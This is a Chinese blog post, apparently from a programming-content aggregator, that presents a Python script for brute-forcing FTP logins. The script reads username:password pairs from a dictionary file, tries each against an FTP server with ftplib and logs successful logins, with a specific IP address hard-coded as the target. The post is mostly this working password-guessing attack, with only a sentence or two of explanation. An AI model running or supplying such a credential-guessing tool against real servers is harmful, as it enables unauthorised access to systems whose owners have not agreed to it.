您的位置:首页 > 编程语言 > PHP开发

暴力破解FTP服务器用户名密码

2017-11-02 21:07 776 查看
暴力破解FTP服务器用户名密码
破解

今天的例子很简单,就是用python的FTPLIB模块,登陆ftp服务器。并尝试用户名和密码。
大概的逻辑是,假设远程主机上有FTP服务器,我们使用用户和密码文件,不断的尝试并登陆远程ftp服务器,如果正确,打印日志。脚本很简单,主要如下:

#!/usr/bin/python

#coding:utf-8

import ftplib

import logging

import logging.config

filename=''

logging.config.fileConfig('./logconfig.ini')

__log = logging.getLogger('product')

def ftpconn(host,filename):

    fp = open(filename,'r')

    for line in fp.readlines():

        __log.debug(line)

        if not line.strip('\r').strip('\n'):

            __log.debug("遍历完毕,脚本退出")

            break;

        loginname = line.split(':')[0]

        loginpwd = line.split(':')[1].strip('\r').strip('\n')

        try:

            ftpconn = ftplib.FTP(host,timeout=2)

            ftpconn.login(loginname, loginpwd)

            __log.debug("%s login sucess",host)

            ftpconn.quit()

            #return True

        except Exception as e:

            __log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))

            #return False

def main():

    global filename

    filename = 'pwddict.txt'

    ftpconn('166.111.174.33',filename)

if __name__ == '__main__':

    main()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息